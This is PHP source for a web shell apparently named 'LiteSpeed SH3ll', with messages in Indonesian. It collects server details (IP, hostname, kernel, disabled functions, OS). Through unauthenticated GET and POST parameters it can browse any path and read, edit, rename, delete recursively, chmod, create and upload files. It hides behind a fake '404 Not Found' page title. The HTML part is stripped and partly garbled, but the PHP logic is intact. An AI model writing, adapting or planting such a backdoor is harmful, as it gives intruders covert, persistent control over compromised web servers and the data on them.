_ _ _ _____ _ _____ _ _ ____ _ _
| | (_) | / ____| | | / ____| | | |___ \| | |
| | _| |_ ___| (___ _ __ ___ ___ __| | | (___ | |__| | __) | | |
| | | | __/ _ \\___ \| '_ \ / _ \/ _ \/ _` | \___ \| __ ||__ <| | |
| |____| | || __/____) | |_) | __/ __/ (_| | ____) | | | |___) | | |
|______|_|\__\___|_____/| .__/ \___|\___|\__,_| |_____/|_| |_|____/|_|_|
| |
|_|
$_SERVER['REMOTE_ADDR'],
'host' => gethostname(),
'kernel' => php_uname(),
'disablefunc' => ini_get('disable_functions'),
'path' => getcwd(),
'os' => PHP_OS,
];
return $arr;
}
$getInfo = info();
if(strtoupper(substr($getInfo['os'], 0, 3)) == 'WIN') {
$getInfo['os'] = 'Windows';
}else if(strtoupper(substr($getInfo['os'], 0, 3)) == 'LIN') {
$getInfo['os'] = 'Linux';
}
$dir = getcwd();
$replace = str_replace('\\', '/', $dir);
$pecah = explode('/', $replace);
function setPath($list) {
$dir = "";
for($i=0; $i < count($list); $i++) {
for($j=0; $j < $i; $j++) {
$dir .= $list[$j] . '/';
}
$dir .= $list[$i] . ' ';
}
$dirArr = explode(' ', $dir);
return $dirArr;
}
function cekPermission($filenya) {
$perms = fileperms($filenya);
switch ($perms & 0xF000) {
case 0xC000: // socket
$info = 's';
break;
case 0xA000: // symbolic link
$info = 'l';
break;
case 0x8000: // regular
$info = '-';
break;
case 0x6000: // block special
$info = 'b';
break;
case 0x4000: // directory
$info = 'd';
break;
case 0x2000: // character special
$info = 'c';
break;
case 0x1000: // FIFO pipe
$info = 'p';
break;
default:
$info = 'u';
}
//Untuk Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
//Untuk Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
//Untuk Other
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
function hitungSize($fileSize) {
$bytes = sprintf('%u', filesize($fileSize));
if ($bytes > 0)
{
$unit = intval(log($bytes, 1024));
$units = array('B', 'KB', 'MB', 'GB');
if (array_key_exists($unit, $units) === true)
{
return sprintf('%d %s', $bytes / pow(1024, $unit), $units[$unit]);
}
}
return $bytes;
}
function bungkus($obj) {
$wrap = filter_var(htmlspecialchars(file_get_contents($obj)), FILTER_SANITIZE_STRING);
return $wrap;
}
function deleteFolder($dirnya) {
$files = array_diff(scandir($dirnya), array('.', '..'));
foreach ($files as $file) {
(is_dir("$dirnya/$file")) ? deleteFolder("$dirnya/$file") : unlink("$dirnya/$file");
}
return rmdir($dirnya);
}
function uploadFile($fileSementara, $fileUpload) {
$terupload = move_uploaded_file($fileSementara, $fileUpload);
if($terupload) {
return true;
}else {
return false;
}
}
$pecahLagi = setPath($pecah);
if(isset($_GET['path'])) {
$get = $_GET['path'];
$pec = explode('/', $get);
$getPath = setPath($pec);
if(is_file($get)) {
$konten = bungkus($get);
$cek = true;
}
$listDir = scandir($get);
}else {
$get = $replace;
$listDir = scandir($get);
}
if(isset($_POST['pilihan'])) {
switch ($_POST['pilihan']) {
case $_POST['pilihan'] == 'edit':
$edit = true;
$dirFile = $_POST['dir'];
$sourceFile = $_POST['sourceFile'];
if(!empty($sourceFile)){
if(file_put_contents($dirFile, $sourceFile)) {
$successEdit = 'Berhasil di edit';
}else {
$successEdit = 'Gagal edit';
}
}
break;
case $_POST['pilihan'] == 'rename':
$rename = true;
$dirFile = $_POST['dir'];
$filename = $_POST['namaFile'];
$namaBaru = $_POST['namaBaru'];
if(!empty($namaBaru)){
if(rename($dirFile, $_GET['path'] . '/' . $namaBaru)) {
$filename = $namaBaru;
$dirFile = $_GET['path'] . '/' . $namaBaru;
$successRename = 'Berhasil rename';
}else {
$successRename = 'Gagal rename';
}
}
break;
case $_POST['pilihan'] == 'delete':
$dirFile = $_POST['dir'];
$type = $_POST['type'];
if(isset($dirFile) && is_file($dirFile)) {
if(unlink($dirFile)) {
$pesanHapus = "";
}else {
$pesanHapus = "";
}
}else if(isset($dirFile) && is_dir($dirFile)) {
//$dirFile = $dirFile . '/';
if(deleteFolder($dirFile)) {
$pesanHapus = "";
}else {
$pesanHapus = "";
}
}
break;
case $_POST['pilihan'] == 'chmod':
$chmod = true;
$file = fileperms($_POST['dir']);
$permission = substr(sprintf('%o', $file), -4);
$dirFile = $_POST['dir'];
$perms = $_POST['perms'];
if(isset($perms)) {
if(chmod($dirFile, $perms)) {
$permission = $perms;
$successChmod ='Berhasil chmod!';
}else {
$successChmod = 'Gagal chmod!';
}
}
break;
case $_POST['pilihan'] == 'create':
$namaFile = "";
$isiFile = "";
$dirPath = $_GET['path'] . '/';
if (isset($_POST['createAction'])) {
$namaFile = $_POST['createName'];
$isiFile = $_POST['createIsi'];
if (!file_exists($dirPath . $namaFile)) {
if (file_put_contents($dirPath . $namaFile, $isiFile)) {
$pesanCreate = 'File berhasil dibuat';
} else {
$pesanCreate = 'Directory not Writable';
}
} else {
$pesanCreate = 'Nama file sudah ada';
}
}
break;
case $_POST['pilihan'] == 'createFolder':
$namaFolder = "";
$dirPath = $_GET['path'] . '/';
if (isset($_POST['createAction'])) {
$namaFolder = $_POST['createName'];
if (!file_exists($dirPath . $namaFolder)) {
if (mkdir($dirPath . $namaFolder, 0755, true)) {
$pesanCreate = 'Folder berhasil dibuat';
} else {
$pesanCreate = 'Gagal membuat folder';
}
} else {
$pesanCreate = 'Nama folder sudah ada';
}
}
break;
case $_POST['pilihan'] == 'upload':
$path = $replace;
if(isset($_GET['path'])) {
$path = $_GET['path'];
}
if(!empty($_FILES)) {
if(uploadFile($_FILES['uploadFile']['tmp_name'], $path . '/' . $_FILES['uploadFile']['name'])) {
echo "";
}else {
echo "";
}
}
break;
}
}
?>
404 Not Found
IP : = $getInfo['ip']; ?>
Hostname : = $getInfo['host']; ?>
Kernel : = $getInfo['kernel']; ?>
Disable Function : = empty($getInfo['disablefunc']) ? 'None :) ' : $getInfo['disablefunc']; ?>
OS : = $getInfo['os']; ?>
PATH:
= @$pecah[$i++]; ?>/
= @$pec[$i++]; ?>/
= !empty($successEdit) ? "
" . $successEdit . "
" : ""; ?>
= !empty($successRename) ? "
" . $successRename . "
" : ""; ?>
= !empty($successChmod) ? "
" . $successChmod . "
" : ''; ?>
= !empty($pesanCreate) ? "
" . $pesanCreate . "
" : ""; ?>
= !empty($pesanCreate) ? "
" . $pesanCreate . "
" : ""; ?>
= !empty($pesanHapus) ? $pesanHapus : ''; ?>
Nama |
Size |
Permission |
Action |
= $dir; ?> |
= is_file($get . '/' . $dir) ? hitungSize($get . '/' . $dir) : 'Folders'; ?> |
= is_writable($get . '/' . $dir) ? '' . @cekPermission($get . '/' . $dir) . '' : '' . @cekPermission($get . '/' . $dir) . '';?> |
|
window.location.reload();";
exit;
}
?>